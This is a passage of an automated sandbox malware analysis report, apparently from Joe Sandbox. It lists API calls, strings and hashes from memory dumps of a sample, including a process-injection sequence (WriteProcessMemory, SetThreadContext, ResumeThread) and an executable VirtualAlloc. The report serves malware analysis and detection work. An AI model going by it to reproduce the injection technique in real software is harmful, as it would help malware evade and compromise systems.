WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04CE03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 04CE03E1
ResumeThread.KERNELBASE(00000000), ref: 04CE03ED
ExitProcess.KERNEL32(00000000), ref: 04CE0412

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7a8e7f75c5dd9dc74657d084581edb659fde426d09f46113e68963c1b906becf
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 68B1D874A00208AFDB44CF99C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Function 04CE0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04CE0533

Strings

mfoaskdfnoa, xrefs: 04CE0520, 04CE0523
saodkfnosa9uin, xrefs: 04CE04DA
d, xrefs: 04CE0584
0, xrefs: 04CE0492

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afa16ed11529aeee883feb3522fab7b16981dab969ce72323c8e0d0f0bb374b3
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 3E511A70D08388DAEB11CBD9C849BEDBFB26F11708F144058D5447F286C3FA6658CBA6

Function 04CE05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 04CE05EC

Strings

apfHQ, xrefs: 04CE05E2, 04CE05E5
o, xrefs: 04CE0600

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c12362ee3a3bdf833d91ae27a80b1074a0079467739686638fa426eb6b7f36c7
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 3C011E70C0425CEADB11DB99C5183AEBFB5AF41308F148099C8092B242D7B69B58CBA1

Function 032997C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 032997EE
Module32First.KERNEL32(00000000,00000224), ref: 0329980E

Memory Dump Source

Source File: 00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp, Offset: 03299000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3299000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 340eb101716dc8a0bda44e5dfc71eb052f87739a65e630039de2f533fc265da9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 87F0C8311103116BEB207BF5AC8CAAAB6ECBF45635F14026DE542950C0CB70E8C54650

Function 03299485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 032994D6

Memory Dump Source

Source File: 00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp, Offset: 03299000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3299000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 19300e8a7caef111dd4e463750caaa77458afeec0b3e3b0a84760c4376db88cb
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 06113C79A00208EFDB01DF98C985E99BBF5EF08350F058095F9489B361D771EA90DF80

Non-executed Functions

Function 04D06437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 04D0644E

Part of subcall function 04D09636: __calloc_impl.LIBCMT ref: 04D09645

__calloc_crt.LIBCMT ref: 04D06472
_free.LIBCMT ref: 04D06480
__calloc_crt.LIBCMT ref: 04D0648E
_free.LIBCMT ref: 04D0649E
_free.LIBCMT ref: 04D064A4
__copytlocinfo_nolock.LIBCMT ref: 04D064B3
__setmbcp_nolock.LIBCMT ref: 04D064D4
_free.LIBCMT ref: 04D064E2
___removelocaleref.LIBCMT ref: 04D064E9
___freetlocinfo.LIBCMT ref: 04D064F0
_free.LIBCMT ref: 04D064F6

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: b14a73d1dccc4406fa763036ad6ca6d79983b9549ed91f7ee6b0411b580eb79a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 89218E35308601AEFB21BF65D809F5F7BE4EF41768B90C429F5855B0E0EA22F960DA71

Function 04D03F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04D03F51

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

__gmtime64_s.LIBCMT ref: 04D03FEA
__gmtime64_s.LIBCMT ref: 04D04020
__gmtime64_s.LIBCMT ref: 04D0403D
__allrem.LIBCMT ref: 04D04093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D040AF
__allrem.LIBCMT ref: 04D040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D040E4
__allrem.LIBCMT ref: 04D040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D04119
__invoke_watson.LIBCMT ref: 04D0418A

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7a9b271aca7a74a00eec5288bc5de14e26d3b2f55b746c06ba8fb6b7ea28dc11
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 3971B371B00716BBE714AE69CC41B6AB7E9FF50368F14C22AE914E76C0E770F94087A1

Function 04D0650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04D06547
__calloc_crt.LIBCMT ref: 04D06598
__lock.LIBCMT ref: 04D065AE
__copytlocinfo_nolock.LIBCMT ref: 04D065BF
_wcscmp.LIBCMT ref: 04D065F9
__lock.LIBCMT ref: 04D06610
__updatetlocinfoEx_nolock.LIBCMT ref: 04D06622
___removelocaleref.LIBCMT ref: 04D06628
__updatetlocinfoEx_nolock.LIBCMT ref: 04D06647

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: ef23dcbbd65c6f92cb8758f1b7a0eb319192a5b9feb077b292e12f159feb7daa
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: F741F332A04308AFEB00AFA4E944B9E3BA4FF04318F10C46AE914571D1DB76F654DB75

Function 04D084AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 04D084B1
_free.LIBCMT ref: 04D084E2
_free.LIBCMT ref: 04D084F5
_free.LIBCMT ref: 04D08513
_free.LIBCMT ref: 04D08525
_free.LIBCMT ref: 04D08536
_free.LIBCMT ref: 04D08541
_free.LIBCMT ref: 04D08565
_free.LIBCMT ref: 04D08581
_free.LIBCMT ref: 04D08597
_free.LIBCMT ref: 04D085BF

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: d2e573d6e4a61f22d2ad238c135c7e704be3950cbffd6f2f0f28326dcd2a9cc9
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 88317131A002509BDB216F54FC8CA4D77B4FB14325744C62AF9056B2E0CBB5F9C9AEA4

Function 04D2FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 04D2FC1F

Part of subcall function 04D1169C: std::exception::_Copy_str.LIBCMT ref: 04D116B5

__CxxThrowException@8.LIBCMT ref: 04D2FC34
std::exception::exception.LIBCMT ref: 04D2FC4D
__CxxThrowException@8.LIBCMT ref: 04D2FC62
std::regex_error::regex_error.LIBCPMT ref: 04D2FC74

Part of subcall function 04D2F914: std::exception::exception.LIBCMT ref: 04D2F92E

__CxxThrowException@8.LIBCMT ref: 04D2FC82
std::exception::exception.LIBCMT ref: 04D2FC9B
__CxxThrowException@8.LIBCMT ref: 04D2FCB0

Strings

leM, xrefs: 04D2FCA8

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: c0760b65ce20e9d3450c84a0b80ab2960f469df5980f37feedad1cfb1543c0e8
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: D911BC79D0020DBBCF00FFA5E455CDEBB7CEA08248F408566AD1497655EB74B7488BA4

Function 04CEF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04CEF01F

Part of subcall function 04D01602: __FF_MSGBANNER.LIBCMT ref: 04D01619
Part of subcall function 04D01602: __NMSG_WRITE.LIBCMT ref: 04D01620

_malloc.LIBCMT ref: 04CEF02B
_wprintf.LIBCMT ref: 04CEF03E
_free.LIBCMT ref: 04CEF044
_free.LIBCMT ref: 04CEF065
_malloc.LIBCMT ref: 04CEF06D
_sprintf.LIBCMT ref: 04CEF0C0
_wprintf.LIBCMT ref: 04CEF0D2
_wprintf.LIBCMT ref: 04CEF0DC
_free.LIBCMT ref: 04CEF0E5

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: bc3f5b0751a0fb4a8707b77977e6c979bb125416731535631840be43f756b7a5
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 561105B66015503AE26266B55C19FFF3AECDF46315F4440AAFA48E21C0DA196A0493B1

Function 04CF1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CF19C6
__CxxThrowException@8.LIBCMT ref: 04CF19F1
__CxxThrowException@8.LIBCMT ref: 04CF1A1A
__CxxThrowException@8.LIBCMT ref: 04CF1A4B
_memset.LIBCMT ref: 04CF1A6A
__CxxThrowException@8.LIBCMT ref: 04CF1A90
_malloc.LIBCMT ref: 04CF1AA0
_memset.LIBCMT ref: 04CF1AAB
_sprintf.LIBCMT ref: 04CF1ACE

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a45b22e287d9fa9379bc0aac89fbc211c1bdfeb87c7b684aa64c8d994957e144
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: B0514B71E40209FBEB11DBA5DC85FEFBBB8FB04704F144125FA05B6190EB746A018BA5

Function 04CEF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CEF284
__CxxThrowException@8.LIBCMT ref: 04CEF2AF
__CxxThrowException@8.LIBCMT ref: 04CEF2DE
__CxxThrowException@8.LIBCMT ref: 04CEF30F
_memset.LIBCMT ref: 04CEF32E
__CxxThrowException@8.LIBCMT ref: 04CEF354
_sprintf.LIBCMT ref: 04CEF373

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 642c9a0afeb3cc42d82b827943c75d6d865709467e17ecdbebc478c5c779ca7d
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 72512FB1E40209FAEF11DFA2DC46FFEBB79EB04704F104129F905B6190E775AA058BA5

Function 04CEF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CEF4B7
__CxxThrowException@8.LIBCMT ref: 04CEF4E2
__CxxThrowException@8.LIBCMT ref: 04CEF504
__CxxThrowException@8.LIBCMT ref: 04CEF535
_memset.LIBCMT ref: 04CEF554
__CxxThrowException@8.LIBCMT ref: 04CEF57A
_sprintf.LIBCMT ref: 04CEF594

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 8fc22a88f5f757a3b3bda73f1b5d8ac5e84471bbff1cafd6c1b1cbf5b1772a16
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 9E514171E40209BAEF11DFA2DC45FFFBBB9EB18704F104129F905B6190E774AA058BA4

Function 04D2208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 04D220C6
__invoke_watson.LIBCMT ref: 04D22120
_strlen.LIBCMT ref: 04D220D4

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

_strnlen.LIBCMT ref: 04D2215F
__lock.LIBCMT ref: 04D22170
__getenv_helper_nolock.LIBCMT ref: 04D2217B

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 69289d23ca5ffa0c16de4b8facd0bbded818f65b227d582f043676f63ab5efc3
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 6731D432B00231AAEB226AA4DE01BAE3794EF55B6CF108195F914EB2C0DB74F54186B5

Function 04DA66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 04DA66DD

Part of subcall function 04D059BF: __calloc_crt.LIBCMT ref: 04D059E2
Part of subcall function 04D059BF: __initptd.LIBCMT ref: 04D05A04

__calloc_crt.LIBCMT ref: 04DA6700
__get_sys_err_msg.LIBCMT ref: 04DA671E
__invoke_watson.LIBCMT ref: 04DA673B
__get_sys_err_msg.LIBCMT ref: 04DA676D
__invoke_watson.LIBCMT ref: 04DA678B

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: e9e76b3cfa9b67daf868d2a27ee94084cd8bfdbea85179c29c413f3412f34243
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 4711E771700214BBFB217A25DC00BBB738CEF00A68F084466FE8897690F661FD2046F4

Function 04CF2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CF26DB
_memset.LIBCMT ref: 04CF2A30
_memset.LIBCMT ref: 04CF2AC0

Strings

D, xrefs: 04CF2AC8

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 3847b5459768d099b706f1ec75fa5f0a4fd23a62f8df20b70187463a5ad3bb86
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 9DE17D71D00219AADF64DFA0DC49FEEBBB9BF04304F1440AAEA09E7190EB756A45CF54

Function 04CED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CED8EA

Strings

(, xrefs: 04CEDAE9
$, xrefs: 04CEDAE2
, xrefs: 04CEDADB

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: cae89ebd9faa540f8d346cebfd9f7faceb0b7bca303a3cc3e9750e8b104b20a4
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 7691D171D00219EBEF20DFA1CC49BEEBBB5AF05304F144169D516772C0EBB66A48CB65

Function 04D05CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 04D05CF4

Strings

U, xrefs: 04D05CFD

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 91367dc60762f940145933d53141de07ad50cb70a63adef5a0b2c2ed8dfd58c8
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 5121C332718208BAEB00DAA4BC55BBA77ECEB45650F508166FD09C71D0FA61F9408AB4

Function 04CFA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CFA858
_memset.LIBCMT ref: 04CFA869
_memset.LIBCMT ref: 04CFA87A

Strings

p2Q, xrefs: 04CFA882

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 6fcd12701710b88ac85a48209cc4d8acd842d5b91489fbc108f88d5bd43c2a58
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 08F0E578698751A5F7117790BC267957D917B31B08F108045D1142F2E1D3FD334C67A9

Function 04D2FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 04D2FBF1

Part of subcall function 04D1169C: std::exception::_Copy_str.LIBCMT ref: 04D116B5

__CxxThrowException@8.LIBCMT ref: 04D2FC06

Strings

TeM, xrefs: 04D2FBFB, 04D2FBE7
TeM, xrefs: 04D2FBFE

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: f5867accf5e7bf736e9b34c21ace51c32b567b17f20391b25f999dbcb4396d3f
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: DED06775D0020CBBDB00EFA5E459CDDBBB8EA04348F40C466AE1497255EA74A7498B94

Function 04CED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 04D0197D: __wfsopen.LIBCMT ref: 04D01988

_fgetws.LIBCMT ref: 04CED15C

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b7f06b61ee78f11f245512b9ce7155ac1ac7e582ee28a30fce3dbc96225f77ae
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 8A91C571D0031AABDF21DFA5CC447BEB7B6EF04314F144529E816A7281E77ABA04CBA5

Function 04CED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 04CED77E
_malloc.LIBCMT ref: 04CED7B2
_malloc.LIBCMT ref: 04CED7C1
_fprintf.LIBCMT ref: 04CED815

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 81385bfbf16f1ec9b5644e2581ded68390c067f87ec5c0623bfbf1607043097c
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 65A17FB1D00249EBEF11EB94CC49BEEBB75EF14308F144068D50677291D7B66A48CBA6

Function 04D02AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D02B2E
__read_nolock.LIBCMT ref: 04D02BFE
__filbuf.LIBCMT ref: 04D02C21
_memset.LIBCMT ref: 04D02C65

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
